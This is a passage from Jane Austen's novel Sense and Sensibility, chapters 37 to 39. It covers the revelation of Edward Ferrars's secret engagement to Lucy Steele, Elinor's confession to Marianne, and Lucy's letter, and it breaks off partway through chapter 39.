Elinor of their influence there, strengthened +her expectation of the event. Sir John, who called on +them more than once, brought home such accounts of the +favour they were in, as must be universally striking. +Mrs. Dashwood had never been so much pleased with any +young women in her life, as she was with them; had given +each of them a needle book made by some emigrant; +called Lucy by her Christian name; and did not know +whether she should ever be able to part with them. + + + + + +[At this point in the first and second edtions, Volume II ended.] + + + + +CHAPTER 37 + + +Mrs. Palmer was so well at the end of a fortnight, +that her mother felt it no longer necessary to give up +the whole of her time to her; and, contenting herself with +visiting her once or twice a day, returned from that period +to her own home, and her own habits, in which she found +the Miss Dashwoods very ready to resume their former share. + +About the third or fourth morning after their +being thus resettled in Berkeley Street, Mrs. Jennings, +on returning from her ordinary visit to Mrs. Palmer, +entered the drawing-room, where Elinor was sitting +by herself, with an air of such hurrying importance +as prepared her to hear something wonderful; and giving her +time only to form that idea, began directly to justify it, +by saying, + +"Lord! my dear Miss Dashwood! have you heard the news?" + +"No, ma'am. What is it?" + +"Something so strange! But you shall hear it all.-- +When I got to Mr. Palmer's, I found Charlotte quite +in a fuss about the child. She was sure it was very +ill--it cried, and fretted, and was all over pimples. +So I looked at it directly, and, 'Lord! my dear,' +says I, 'it is nothing in the world, but the red gum--' +and nurse said just the same. But Charlotte, she would +not be satisfied, so Mr. Donavan was sent for; and luckily +he happened to just come in from Harley Street, so he +stepped over directly, and as soon as ever he saw the child, +be said just as we did, that it was nothing in the world +but the red gum, and then Charlotte was easy. And so, +just as he was going away again, it came into my head, +I am sure I do not know how I happened to think of it, +but it came into my head to ask him if there was any news. +So upon that, he smirked, and simpered, and looked grave, +and seemed to know something or other, and at last he +said in a whisper, 'For fear any unpleasant report +should reach the young ladies under your care as to their +sister's indisposition, I think it advisable to say, +that I believe there is no great reason for alarm; I hope +Mrs. Dashwood will do very well.'" + +"What! is Fanny ill?" + +"That is exactly what I said, my dear. 'Lord!' says I, +'is Mrs. Dashwood ill?' So then it all came out; and the +long and the short of the matter, by all I can learn, +seems to be this. Mr. Edward Ferrars, the very young +man I used to joke with you about (but however, as it +turns out, I am monstrous glad there was never any thing +in it), Mr. Edward Ferrars, it seems, has been engaged +above this twelvemonth to my cousin Lucy!--There's for you, +my dear!--And not a creature knowing a syllable of the matter, +except Nancy!--Could you have believed such a thing possible?-- +There is no great wonder in their liking one another; +but that matters should be brought so forward between them, +and nobody suspect it!--THAT is strange!--I never happened +to see them together, or I am sure I should have found it +out directly. Well, and so this was kept a great secret, +for fear of Mrs. Ferrars, and neither she nor your +brother or sister suspected a word of the matter;-- +till this very morning, poor Nancy, who, you know, is a +well-meaning creature, but no conjurer, popt it all out. +'Lord!' thinks she to herself, 'they are all so fond +of Lucy, to be sure they will make no difficulty about it;' +and so, away she went to your sister, who was sitting all +alone at her carpet-work, little suspecting what was to +come--for she had just been saying to your brother, only five +minutes before, that she thought to make a match between +Edward and some Lord's daughter or other, I forget who. +So you may think what a blow it was to all her vanity +and pride. She fell into violent hysterics immediately, +with such screams as reached your brother's ears, +as he was sitting in his own dressing-room down stairs, +thinking about writing a letter to his steward in the country. +So up he flew directly, and a terrible scene took place, +for Lucy was come to them by that time, little dreaming +what was going on. Poor soul! I pity HER. And I must say, +I think she was used very hardly; for your sister scolded +like any fury, and soon drove her into a fainting fit. +Nancy, she fell upon her knees, and cried bitterly; +and your brother, he walked about the room, and said +he did not know what to do. Mrs. Dashwood declared +they should not stay a minute longer in the house, +and your brother was forced to go down upon HIS knees too, +to persuade her to let them stay till they had packed +up their clothes. THEN she fell into hysterics again, +and he was so frightened that he would send for Mr. Donavan, +and Mr. Donavan found the house in all this uproar. +The carriage was at the door ready to take my poor +cousins away, and they were just stepping in as he +came off; poor Lucy in such a condition, he says, +she could hardly walk; and Nancy, she was almost as bad. +I declare, I have no patience with your sister; and I hope, +with all my heart, it will be a match in spite of her. +Lord! what a taking poor Mr. Edward will be in when he +hears of it! To have his love used so scornfully! for +they say he is monstrous fond of her, as well he may. +I should not wonder, if he was to be in the greatest +passion!--and Mr. Donavan thinks just the same. He and I +had a great deal of talk about it; and the best of all is, +that he is gone back again to Harley Street, that he may +be within call when Mrs. Ferrars is told of it, for she +was sent for as soon as ever my cousins left the house, +for your sister was sure SHE would be in hysterics too; +and so she may, for what I care. I have no pity for +either of them. I have no notion of people's making +such a to-do about money and greatness. There is no +reason on earth why Mr. Edward and Lucy should not marry; +for I am sure Mrs. Ferrars may afford to do very well +by her son, and though Lucy has next to nothing herself, +she knows better than any body how to make the most +of every thing; I dare say, if Mrs. Ferrars would only +allow him five hundred a-year, she would make as good +an appearance with it as any body else would with eight. +Lord! how snug they might live in such another cottage +as yours--or a little bigger--with two maids, and two men; +and I believe I could help them to a housemaid, for my +Betty has a sister out of place, that would fit them +exactly." + +Here Mrs. Jennings ceased, and as Elinor had had +time enough to collect her thoughts, she was able +to give such an answer, and make such observations, +as the subject might naturally be supposed to produce. +Happy to find that she was not suspected of any extraordinary +interest in it; that Mrs. Jennings (as she had of late +often hoped might be the case) had ceased to imagine her +at all attached to Edward; and happy above all the rest, +in the absence of Marianne, she felt very well able +to speak of the affair without embarrassment, and to +give her judgment, as she believed, with impartiality +on the conduct of every one concerned in it. + +She could hardly determine what her own expectation +of its event really was; though she earnestly tried +to drive away the notion of its being possible to end +otherwise at last, than in the marriage of Edward and Lucy. +What Mrs. Ferrars would say and do, though there could +not be a doubt of its nature, she was anxious to hear; +and still more anxious to know how Edward would +conduct himself. For HIM she felt much compassion;-- +for Lucy very little--and it cost her some pains to procure +that little;--for the rest of the party none at all. + +As Mrs. Jennings could talk on no other subject, +Elinor soon saw the necessity of preparing Marianne for +its discussion. No time was to be lost in undeceiving her, +in making her acquainted with the real truth, and in +endeavouring to bring her to hear it talked of by others, +without betraying that she felt any uneasiness for her sister, +or any resentment against Edward. + +Elinor's office was a painful one.--She was going +to remove what she really believed to be her sister's +chief consolation,--to give such particulars of Edward as she +feared would ruin him for ever in her good opinion,-and +to make Marianne, by a resemblance in their situations, +which to HER fancy would seem strong, feel all her own +disappointment over again. But unwelcome as such a task +must be, it was necessary to be done, and Elinor therefore +hastened to perform it. + +She was very far from wishing to dwell on her own +feelings, or to represent herself as suffering much, +any otherwise than as the self-command she had practised +since her first knowledge of Edward's engagement, might +suggest a hint of what was practicable to Marianne. +Her narration was clear and simple; and though it could +not be given without emotion, it was not accompanied +by violent agitation, nor impetuous grief.--THAT belonged +rather to the hearer, for Marianne listened with horror, +and cried excessively. Elinor was to be the comforter +of others in her own distresses, no less than in theirs; +and all the comfort that could be given by assurances +of her own composure of mind, and a very earnest +vindication of Edward from every charge but of imprudence, +was readily offered. + +But Marianne for some time would give credit to neither. +Edward seemed a second Willoughby; and acknowledging +as Elinor did, that she HAD loved him most sincerely, +could she feel less than herself! As for Lucy Steele, +she considered her so totally unamiable, so absolutely +incapable of attaching a sensible man, that she could +not be persuaded at first to believe, and afterwards +to pardon, any former affection of Edward for her. +She would not even admit it to have been natural; +and Elinor left her to be convinced that it was so, +by that which only could convince her, a better knowledge +of mankind. + +Her first communication had reached no farther than +to state the fact of the engagement, and the length of time +it had existed.--Marianne's feelings had then broken in, +and put an end to all regularity of detail; and for some +time all that could be done was to soothe her distress, +lessen her alarms, and combat her resentment. The first +question on her side, which led to farther particulars, +was, + +"How long has this been known to you, Elinor? has +he written to you?" + +"I have known it these four months. When Lucy +first came to Barton Park last November, she told me +in confidence of her engagement." + +At these words, Marianne's eyes expressed the astonishment +which her lips could not utter. After a pause of wonder, +she exclaimed-- + +"Four months!--Have you known of this four months?" + +Elinor confirmed it. + +"What!--while attending me in all my misery, has this +been on your heart?--And I have reproached you for being +happy!"-- + +"It was not fit that you should then know how much +I was the reverse!" + +"Four months!"--cried Marianne again.--"So calm!-- +so cheerful!--how have you been supported?"-- + +"By feeling that I was doing my duty.--My promise to +Lucy, obliged me to be secret. I owed it to her, therefore, +to avoid giving any hint of the truth; and I owed it to my +family and friends, not to create in them a solicitude about me, +which it could not be in my power to satisfy." + +Marianne seemed much struck. + +"I have very often wished to undeceive yourself and my +mother," added Elinor; "and once or twice I have attempted it;-- +but without betraying my trust, I never could have convinced +you." + +"Four months!--and yet you loved him!"-- + +"Yes. But I did not love only him;--and while the comfort +of others was dear to me, I was glad to spare them from knowing +how much I felt. Now, I can think and speak of it with +little emotion. I would not have you suffer on my account; +for I assure you I no longer suffer materially myself. +I have many things to support me. I am not conscious of having +provoked the disappointment by any imprudence of my own, +I have borne it as much as possible without spreading +it farther. I acquit Edward of essential misconduct. +I wish him very happy; and I am so sure of his always +doing his duty, that though now he may harbour some regret, +in the end he must become so. Lucy does not want sense, +and that is the foundation on which every thing good may +be built.--And after all, Marianne, after all that is +bewitching in the idea of a single and constant attachment, +and all that can be said of one's happiness depending +entirely on any particular person, it is not meant--it +is not fit--it is not possible that it should be so.-- +Edward will marry Lucy; he will marry a woman superior +in person and understanding to half her sex; and time +and habit will teach him to forget that he ever thought +another superior to HER."-- + +"If such is your way of thinking," said Marianne, +"if the loss of what is most valued is so easily +to be made up by something else, your resolution, +your self-command, are, perhaps, a little less to be +wondered at.--They are brought more within my comprehension." + +"I understand you.--You do not suppose that I have ever +felt much.--For four months, Marianne, I have had all this +hanging on my mind, without being at liberty to speak +of it to a single creature; knowing that it would make +you and my mother most unhappy whenever it were explained +to you, yet unable to prepare you for it in the least.-- +It was told me,--it was in a manner forced on me by the +very person herself, whose prior engagement ruined all +my prospects; and told me, as I thought, with triumph.-- +This person's suspicions, therefore, I have had to oppose, +by endeavouring to appear indifferent where I have been most +deeply interested;--and it has not been only once;--I have +had her hopes and exultation to listen to again and again.-- +I have known myself to be divided from Edward for ever, +without hearing one circumstance that could make me less +desire the connection.--Nothing has proved him unworthy; +nor has anything declared him indifferent to me.-- +I have had to contend against the unkindness of his sister, +and the insolence of his mother; and have suffered the +punishment of an attachment, without enjoying its advantages.-- +And all this has been going on at a time, when, as you +know too well, it has not been my only unhappiness.-- +If you can think me capable of ever feeling--surely you +may suppose that I have suffered NOW. The composure +of mind with which I have brought myself at present +to consider the matter, the consolation that I have been +willing to admit, have been the effect of constant and +painful exertion;--they did not spring up of themselves;-- +they did not occur to relieve my spirits at first.-- +No, Marianne.--THEN, if I had not been bound to silence, +perhaps nothing could have kept me entirely--not even what I +owed to my dearest friends--from openly shewing that I was +VERY unhappy."-- + +Marianne was quite subdued.-- + +"Oh! Elinor," she cried, "you have made me hate +myself for ever.--How barbarous have I been to you!-- +you, who have been my only comfort, who have borne with me +in all my misery, who have seemed to be only suffering +for me!--Is this my gratitude?--Is this the only return I +can make you?--Because your merit cries out upon myself, +I have been trying to do it away." + +The tenderest caresses followed this confession. +In such a frame of mind as she was now in, Elinor had +no difficulty in obtaining from her whatever promise +she required; and at her request, Marianne engaged +never to speak of the affair to any one with the least +appearance of bitterness;--to meet Lucy without betraying +the smallest increase of dislike to her;--and even to see +Edward himself, if chance should bring them together, +without any diminution of her usual cordiality.-- +These were great concessions;--but where Marianne felt +that she had injured, no reparation could be too much +for her to make. + +She performed her promise of being discreet, +to admiration.--She attended to all that Mrs. Jennings +had to say upon the subject, with an unchanging complexion, +dissented from her in nothing, and was heard three +times to say, "Yes, ma'am."--She listened to her praise +of Lucy with only moving from one chair to another, +and when Mrs. Jennings talked of Edward's affection, +it cost her only a spasm in her throat.--Such advances +towards heroism in her sister, made Elinor feel equal +to any thing herself. + +The next morning brought a farther trial of it, +in a visit from their brother, who came with a most serious +aspect to talk over the dreadful affair, and bring them +news of his wife. + +"You have heard, I suppose," said he with great solemnity, +as soon as he was seated, "of the very shocking discovery +that took place under our roof yesterday." + +They all looked their assent; it seemed too awful +a moment for speech. + +"Your sister," he continued, "has suffered dreadfully. +Mrs. Ferrars too--in short it has been a scene of such +complicated distress--but I will hope that the storm may +be weathered without our being any of us quite overcome. +Poor Fanny! she was in hysterics all yesterday. +But I would not alarm you too much. Donavan says there +is nothing materially to be apprehended; her constitution +is a good one, and her resolution equal to any thing. +She has borne it all, with the fortitude of an angel! +She says she never shall think well of anybody again; +and one cannot wonder at it, after being so deceived!-- +meeting with such ingratitude, where so much kindness +had been shewn, so much confidence had been placed! It +was quite out of the benevolence of her heart, that she +had asked these young women to her house; merely because +she thought they deserved some attention, were harmless, +well-behaved girls, and would be pleasant companions; +for otherwise we both wished very much to have invited you +and Marianne to be with us, while your kind friend there, +was attending her daughter. And now to be so rewarded! +'I wish, with all my heart,' says poor Fanny in her +affectionate way, 'that we had asked your sisters instead +of them.'" + +Here he stopped to be thanked; which being done, +he went on. + +"What poor Mrs. Ferrars suffered, when first Fanny +broke it to her, is not to be described. While she with +the truest affection had been planning a most eligible +connection for him, was it to be supposed that he could +be all the time secretly engaged to another person!--such +a suspicion could never have entered her head! If she +suspected ANY prepossession elsewhere, it could not be +in THAT quarter. 'THERE, to be sure,' said she, 'I might +have thought myself safe.' She was quite in an agony. +We consulted together, however, as to what should be done, +and at last she determined to send for Edward. +He came. But I am sorry to relate what ensued. +All that Mrs. Ferrars could say to make him put an end +to the engagement, assisted too as you may well suppose +by my arguments, and Fanny's entreaties, was of +no avail. Duty, affection, every thing was disregarded. +I never thought Edward so stubborn, so unfeeling before. +His mother explained to him her liberal designs, in case +of his marrying Miss Morton; told him she would settle on +him the Norfolk estate, which, clear of land-tax, brings +in a good thousand a-year; offered even, when matters +grew desperate, to make it twelve hundred; and in opposition +to this, if he still persisted in this low connection, +represented to him the certain penury that must attend +the match. His own two thousand pounds she protested +should be his all; she would never see him again; and so far +would she be from affording him the smallest assistance, +that if he were to enter into any profession with a view +of better support, she would do all in her power to prevent +him advancing in it." + +Here Marianne, in an ecstasy of indignation, +clapped her hands together, and cried, "Gracious God! +can this be possible!" + +"Well may you wonder, Marianne," replied her brother, +"at the obstinacy which could resist such arguments as these. +Your exclamation is very natural." + +Marianne was going to retort, but she remembered +her promises, and forbore. + +"All this, however," he continued, "was urged in vain. +Edward said very little; but what he did say, was in +the most determined manner. Nothing should prevail on +him to give up his engagement. He would stand to it, +cost him what it might." + +"Then," cried Mrs. Jennings with blunt sincerity, +no longer able to be silent, "he has acted like an honest +man! I beg your pardon, Mr. Dashwood, but if he had +done otherwise, I should have thought him a rascal. +I have some little concern in the business, as well +as yourself, for Lucy Steele is my cousin, and I believe +there is not a better kind of girl in the world, nor one +who more deserves a good husband." + +John Dashwood was greatly astonished; but his nature +was calm, not open to provocation, and he never wished +to offend anybody, especially anybody of good fortune. +He therefore replied, without any resentment, + +"I would by no means speak disrespectfully of any +relation of yours, madam. Miss Lucy Steele is, I dare say, +a very deserving young woman, but in the present case +you know, the connection must be impossible. +And to have entered into a secret engagement with a +young man under her uncle's care, the son of a woman +especially of such very large fortune as Mrs. Ferrars, +is perhaps, altogether a little extraordinary. In short, +I do not mean to reflect upon the behaviour of any person +whom you have a regard for, Mrs. Jennings. We all wish +her extremely happy; and Mrs. Ferrars's conduct throughout +the whole, has been such as every conscientious, good mother, +in like circumstances, would adopt. It has been dignified +and liberal. Edward has drawn his own lot, and I fear +it will be a bad one." + +Marianne sighed out her similar apprehension; +and Elinor's heart wrung for the feelings of Edward, +while braving his mother's threats, for a woman who could +not reward him. + +"Well, sir," said Mrs. Jennings, "and how did it end?" + +"I am sorry to say, ma'am, in a most unhappy rupture:-- +Edward is dismissed for ever from his mother's notice. +He left her house yesterday, but where he is gone, or whether +he is still in town, I do not know; for WE of course can +make no inquiry." + +"Poor young man!--and what is to become of him?" + +"What, indeed, ma'am! It is a melancholy consideration. +Born to the prospect of such affluence! I cannot conceive +a situation more deplorable. The interest of two thousand +pounds--how can a man live on it?--and when to that is added +the recollection, that he might, but for his own folly, +within three months have been in the receipt of two +thousand, five hundred a-year (for Miss Morton has +thirty thousand pounds,) I cannot picture to myself +a more wretched condition. We must all feel for him; +and the more so, because it is totally out of our power +to assist him." + +"Poor young man!" cried Mrs. Jennings, "I am sure +he should be very welcome to bed and board at my house; +and so I would tell him if I could see him. It is not fit +that he should be living about at his own charge now, +at lodgings and taverns." + +Elinor's heart thanked her for such kindness towards Edward, +though she could not forbear smiling at the form of it. + +"If he would only have done as well by himself," +said John Dashwood, "as all his friends were disposed to do +by him, he might now have been in his proper situation, +and would have wanted for nothing. But as it is, it must +be out of anybody's power to assist him. And there is one +thing more preparing against him, which must be worse than +all--his mother has determined, with a very natural kind +of spirit, to settle THAT estate upon Robert immediately, +which might have been Edward's, on proper conditions. +I left her this morning with her lawyer, talking over +the business." + +"Well!" said Mrs. Jennings, "that is HER revenge. +Everybody has a way of their own. But I don't think mine +would be, to make one son independent, because another had +plagued me." + +Marianne got up and walked about the room. + +"Can anything be more galling to the spirit of a man," +continued John, "than to see his younger brother in +possession of an estate which might have been his own? +Poor Edward! I feel for him sincerely." + +A few minutes more spent in the same kind of effusion, +concluded his visit; and with repeated assurances to his +sisters that he really believed there was no material +danger in Fanny's indisposition, and that they need +not therefore be very uneasy about it, he went away; +leaving the three ladies unanimous in their sentiments +on the present occasion, as far at least as it regarded +Mrs. Ferrars's conduct, the Dashwoods', and Edward's. + +Marianne's indignation burst forth as soon as he +quitted the room; and as her vehemence made reserve +impossible in Elinor, and unnecessary in Mrs. Jennings, +they all joined in a very spirited critique upon the party. + + + +CHAPTER 38 + + +Mrs. Jennings was very warm in her praise of Edward's +conduct, but only Elinor and Marianne understood its +true merit. THEY only knew how little he had had to tempt +him to be disobedient, and how small was the consolation, +beyond the consciousness of doing right, that could +remain to him in the loss of friends and fortune. +Elinor gloried in his integrity; and Marianne forgave all +his offences in compassion for his punishment. But though +confidence between them was, by this public discovery, +restored to its proper state, it was not a subject on +which either of them were fond of dwelling when alone. +Elinor avoided it upon principle, as tending to fix still +more upon her thoughts, by the too warm, too positive +assurances of Marianne, that belief of Edward's continued +affection for herself which she rather wished to do away; +and Marianne's courage soon failed her, in trying +to converse upon a topic which always left her more +dissatisfied with herself than ever, by the comparison +it necessarily produced between Elinor's conduct and her own. + +She felt all the force of that comparison; but not +as her sister had hoped, to urge her to exertion now; +she felt it with all the pain of continual self-reproach, +regretted most bitterly that she had never exerted +herself before; but it brought only the torture of penitence, +without the hope of amendment. Her mind was so much weakened +that she still fancied present exertion impossible, +and therefore it only dispirited her more. + +Nothing new was heard by them, for a day or two afterwards, +of affairs in Harley Street, or Bartlett's Buildings. +But though so much of the matter was known to them already, +that Mrs. Jennings might have had enough to do in spreading +that knowledge farther, without seeking after more, +she had resolved from the first to pay a visit of comfort +and inquiry to her cousins as soon as she could; +and nothing but the hindrance of more visitors than usual, +had prevented her going to them within that time. + +The third day succeeding their knowledge of the +particulars, was so fine, so beautiful a Sunday as to draw +many to Kensington Gardens, though it was only the second +week in March. Mrs. Jennings and Elinor were of the number; +but Marianne, who knew that the Willoughbys were again +in town, and had a constant dread of meeting them, +chose rather to stay at home, than venture into so public +a place. + +An intimate acquaintance of Mrs. Jennings joined +them soon after they entered the Gardens, and Elinor was +not sorry that by her continuing with them, and engaging +all Mrs. Jennings's conversation, she was herself left +to quiet reflection. She saw nothing of the Willoughbys, +nothing of Edward, and for some time nothing of anybody +who could by any chance whether grave or gay, be interesting +to her. But at last she found herself with some surprise, +accosted by Miss Steele, who, though looking rather shy, +expressed great satisfaction in meeting them, and on receiving +encouragement from the particular kindness of Mrs. Jennings, +left her own party for a short time, to join their's. +Mrs. Jennings immediately whispered to Elinor, + +"Get it all out of her, my dear. She will tell you +any thing if you ask. You see I cannot leave Mrs. Clarke." + +It was lucky, however, for Mrs. Jennings's curiosity +and Elinor's too, that she would tell any thing WITHOUT +being asked; for nothing would otherwise have been learnt. + +"I am so glad to meet you;" said Miss Steele, +taking her familiarly by the arm--"for I wanted to see you +of all things in the world." And then lowering her voice, +"I suppose Mrs. Jennings has heard all about it. +Is she angry?" + +"Not at all, I believe, with you." + +"That is a good thing. And Lady Middleton, is SHE angry?" + +"I cannot suppose it possible that she should." + +"I am monstrous glad of it. Good gracious! I have +had such a time of it! I never saw Lucy in such a rage +in my life. She vowed at first she would never trim me +up a new bonnet, nor do any thing else for me again, +so long as she lived; but now she is quite come to, +and we are as good friends as ever. Look, she made me +this bow to my hat, and put in the feather last night. +There now, YOU are going to laugh at me too. But why +should not I wear pink ribbons? I do not care if it IS +the Doctor's favourite colour. I am sure, for my part, +I should never have known he DID like it better than +any other colour, if he had not happened to say so. +My cousins have been so plaguing me! I declare sometimes +I do not know which way to look before them." + +She had wandered away to a subject on which Elinor +had nothing to say, and therefore soon judged it expedient +to find her way back again to the first. + +"Well, but Miss Dashwood," speaking triumphantly, +"people may say what they chuse about Mr. Ferrars's +declaring he would not have Lucy, for it is no such thing +I can tell you; and it is quite a shame for such ill-natured +reports to be spread abroad. Whatever Lucy might think +about it herself, you know, it was no business of other +people to set it down for certain." + +"I never heard any thing of the kind hinted at before, +I assure you," said Elinor. + +"Oh, did not you? But it WAS said, I know, very well, +and by more than one; for Miss Godby told Miss Sparks, +that nobody in their senses could expect Mr. Ferrars +to give up a woman like Miss Morton, with thirty thousand +pounds to her fortune, for Lucy Steele that had +nothing at all; and I had it from Miss Sparks myself. +And besides that, my cousin Richard said himself, +that when it came to the point he was afraid Mr. Ferrars +would be off; and when Edward did not come near us +for three days, I could not tell what to think myself; +and I believe in my heart Lucy gave it up all for lost; +for we came away from your brother's Wednesday, +and we saw nothing of him not all Thursday, Friday, +and Saturday, and did not know what was become of him. +Once Lucy thought to write to him, but then her spirits +rose against that. However this morning he came just +as we came home from church; and then it all came out, +how he had been sent for Wednesday to Harley Street, +and been talked to by his mother and all of them, +and how he had declared before them all that he loved +nobody but Lucy, and nobody but Lucy would he have. +And how he had been so worried by what passed, +that as soon as he had went away from his mother's house, +he had got upon his horse, and rid into the country, +some where or other; and how he had stayed about at an inn +all Thursday and Friday, on purpose to get the better +of it. And after thinking it all over and over again, +he said, it seemed to him as if, now he had no fortune, +and no nothing at all, it would be quite unkind to keep +her on to the engagement, because it must be for her loss, +for he had nothing but two thousand pounds, and no hope +of any thing else; and if he was to go into orders, +as he had some thoughts, he could get nothing but a curacy, +and how was they to live upon that?--He could not bear +to think of her doing no better, and so he begged, +if she had the least mind for it, to put an end to the +matter directly, and leave him shift for himself. +I heard him say all this as plain as could possibly be. +And it was entirely for HER sake, and upon HER account, +that he said a word about being off, and not upon his own. +I will take my oath he never dropt a syllable of being +tired of her, or of wishing to marry Miss Morton, or any +thing like it. But, to be sure, Lucy would not give +ear to such kind of talking; so she told him directly +(with a great deal about sweet and love, you know, +and all that--Oh, la! one can't repeat such kind of things +you know)--she told him directly, she had not the least +mind in the world to be off, for she could live with him +upon a trifle, and how little so ever he might have, +she should be very glad to have it all, you know, +or something of the kind. So then he was monstrous happy, +and talked on some time about what they should do, +and they agreed he should take orders directly, +and they must wait to be married till he got a living. +And just then I could not hear any more, for my cousin +called from below to tell me Mrs. Richardson was come in +her coach, and would take one of us to Kensington Gardens; +so I was forced to go into the room and interrupt them, +to ask Lucy if she would like to go, but she did not +care to leave Edward; so I just run up stairs and put +on a pair of silk stockings and came off with the Richardsons." + +"I do not understand what you mean by interrupting them," +said Elinor; "you were all in the same room together, +were not you?" + +"No, indeed, not us. La! Miss Dashwood, do you +think people make love when any body else is by? Oh, +for shame!--To be sure you must know better than that. +(Laughing affectedly.)--No, no; they were shut up in the +drawing-room together, and all I heard was only by listening +at the door." + +"How!" cried Elinor; "have you been repeating to me +what you only learnt yourself by listening at the door? +I am sorry I did not know it before; for I certainly +would not have suffered you to give me particulars of a +conversation which you ought not to have known yourself. +How could you behave so unfairly by your sister?" + +"Oh, la! there is nothing in THAT. I only stood at +the door, and heard what I could. And I am sure Lucy would +have done just the same by me; for a year or two back, +when Martha Sharpe and I had so many secrets together, +she never made any bones of hiding in a closet, or behind +a chimney-board, on purpose to hear what we said." + +Elinor tried to talk of something else; but Miss +Steele could not be kept beyond a couple of minutes, +from what was uppermost in her mind. + +"Edward talks of going to Oxford soon," said she; +"but now he is lodging at No. --, Pall Mall. What an +ill-natured woman his mother is, an't she? And your +brother and sister were not very kind! However, +I shan't say anything against them to YOU; and to be sure +they did send us home in their own chariot, which +was more than I looked for. And for my part, I was all +in a fright for fear your sister should ask us for the +huswifes she had gave us a day or two before; but, however, +nothing was said about them, and I took care to keep mine +out of sight. Edward have got some business at Oxford, +he says; so he must go there for a time; and after THAT, +as soon as he can light upon a Bishop, he will be ordained. +I wonder what curacy he will get!--Good gracious! +(giggling as she spoke) I'd lay my life I know what +my cousins will say, when they hear of it. They will +tell me I should write to the Doctor, to get Edward +the curacy of his new living. I know they will; but I am +sure I would not do such a thing for all the world.-- +'La!' I shall say directly, 'I wonder how you could think +of such a thing? I write to the Doctor, indeed!'" + +"Well," said Elinor, "it is a comfort to be prepared +against the worst. You have got your answer ready." + +Miss Steele was going to reply on the same subject, +but the approach of her own party made another more necessary. + +"Oh, la! here come the Richardsons. I had a vast deal +more to say to you, but I must not stay away from them not +any longer. I assure you they are very genteel people. +He makes a monstrous deal of money, and they keep their +own coach. I have not time to speak to Mrs. Jennings about +it myself, but pray tell her I am quite happy to hear she +is not in anger against us, and Lady Middleton the same; +and if anything should happen to take you and your +sister away, and Mrs. Jennings should want company, +I am sure we should be very glad to come and stay with her +for as long a time as she likes. I suppose Lady Middleton +won't ask us any more this bout. Good-by; I am sorry +Miss Marianne was not here. Remember me kindly to her. +La! if you have not got your spotted muslin on!--I wonder +you was not afraid of its being torn." + +Such was her parting concern; for after this, she had +time only to pay her farewell compliments to Mrs. Jennings, +before her company was claimed by Mrs. Richardson; +and Elinor was left in possession of knowledge which +might feed her powers of reflection some time, though she +had learnt very little more than what had been already +foreseen and foreplanned in her own mind. Edward's marriage +with Lucy was as firmly determined on, and the time +of its taking place remained as absolutely uncertain, +as she had concluded it would be;--every thing depended, +exactly after her expectation, on his getting that preferment, +of which, at present, there seemed not the smallest chance. + +As soon as they returned to the carriage, +Mrs. Jennings was eager for information; but as Elinor +wished to spread as little as possible intelligence +that had in the first place been so unfairly obtained, +she confined herself to the brief repetition of such +simple particulars, as she felt assured that Lucy, +for the sake of her own consequence, would choose +to have known. The continuance of their engagement, +and the means that were able to be taken for promoting +its end, was all her communication; and this produced +from Mrs. Jennings the following natural remark. + +"Wait for his having a living!--ay, we all know how +THAT will end:--they will wait a twelvemonth, and finding +no good comes of it, will set down upon a curacy of fifty +pounds a-year, with the interest of his two thousand pounds, +and what little matter Mr. Steele and Mr. Pratt can +give her.--Then they will have a child every year! and +Lord help 'em! how poor they will be!--I must see +what I can give them towards furnishing their house. +Two maids and two men, indeed!--as I talked of t'other +day.--No, no, they must get a stout girl of all works.-- +Betty's sister would never do for them NOW." + +The next morning brought Elinor a letter by the +two-penny post from Lucy herself. It was as follows: + + "Bartlett's Building, March. + + "I hope my dear Miss Dashwood will excuse the + liberty I take of writing to her; but I know your + friendship for me will make you pleased to hear such + a good account of myself and my dear Edward, after + all the troubles we have went through lately, + therefore will make no more apologies, but proceed + to say that, thank God! though we have suffered + dreadfully, we are both quite well now, and as happy + as we must always be in one another's love. We have + had great trials, and great persecutions, but + however, at the same time, gratefully acknowledge + many friends, yourself not the least among them, + whose great kindness I shall always thankfully + remember, as will Edward too, who I have told of + it. I am sure you will be glad to hear, as likewise + dear Mrs. Jennings, I spent two happy hours with + him yesterday afternoon, he would not hear of our + parting, though earnestly did I, as I thought my + duty required, urge him to it for prudence sake, + and would have parted for ever on the spot, would + he consent to it; but he said it should never be, + he did not regard his mother's anger, while he could + have my affections; our prospects are not very + bright, to be sure, but we must wait, and hope for + the best; he will be ordained shortly; and should + it ever be in your power to recommend him to any + body that has a living to bestow, am very sure you + will not forget us, and dear Mrs. Jennings too, + trust she will speak a good word for us to Sir John, + or Mr. Palmer, or any friend that may be able to + assist us.--Poor Anne was much to blame for what + she did, but she did it for the best, so I say + nothing; hope Mrs. Jennings won't think it too much + trouble to give us a call, should she come this way + any morning, 'twould be a great kindness, and my + cousins would be proud to know her.--My paper reminds + me to conclude; and begging to be most gratefully + and respectfully remembered to her, and to Sir John, + and Lady Middleton, and the dear children, when you + chance to see them, and love to Miss Marianne, + + "I am, &c." + +As soon as Elinor had finished it, she performed +what she concluded to be its writer's real design, +by placing it in the hands of Mrs. Jennings, who read it +aloud with many comments of satisfaction and praise. + +"Very well indeed!--how prettily she writes!--aye, +that was quite proper to let him be off if he would. +That was just like Lucy.--Poor soul! I wish I COULD get +him a living, with all my heart.--She calls me dear +Mrs. Jennings, you see. She is a good-hearted girl +as ever lived.--Very well upon my word. That sentence +is very prettily turned. Yes, yes, I will go and see her, +sure enough. How attentive she is, to think of every +body!--Thank you, my dear, for shewing it me. It is +as pretty a letter as ever I saw, and does Lucy's head +and heart great credit." + + + +CHAPTER 39 + + +The Miss Dashwoods had now been rather more than +two months in town, and Marianne's impatience to be gone +increased every day. She sighed for the air, the liberty, +the quiet of the country; and fancied that if any place +could give her ease, Barton must do it. Elinor was hardly +less anxious than herself for their removal, and only so much +less bent on its being effected immediately, as that she +was conscious of the difficulties of so long a journey, +which Marianne could not be brought to acknowledge. +She began, however, seriously to turn her thoughts towards +its accomplishment, and had already mentioned their wishes +to their kind hostess, who resisted them with all the +eloquence of her good-will, when a plan was suggested, +which, though detaining them from home yet a few weeks +longer, appeared to Elinor altogether much more eligible +than any other. The Palmers were to remove to Cleveland +about the end of March, for the Easter holidays; +and Mrs. Jennings, with both her friends, received a very +warm invitation from Charlotte to go with them. This would +not, in itself, have been sufficient for the delicacy of +Miss Dashwood;--but it was inforced with so much real +politeness by Mr. Palmer himself, as, joined to the very +great amendment of his manners towards them since her +sister had been known to be unhappy, induced her to accept +it with pleasure. + +When she told Marianne what she had done, however, +her first reply was not very auspicious. + +"Cleveland!"--she cried, with great agitation. +"No, I cannot go to Cleveland."-- + +"You forget," said Elinor gently, "that its 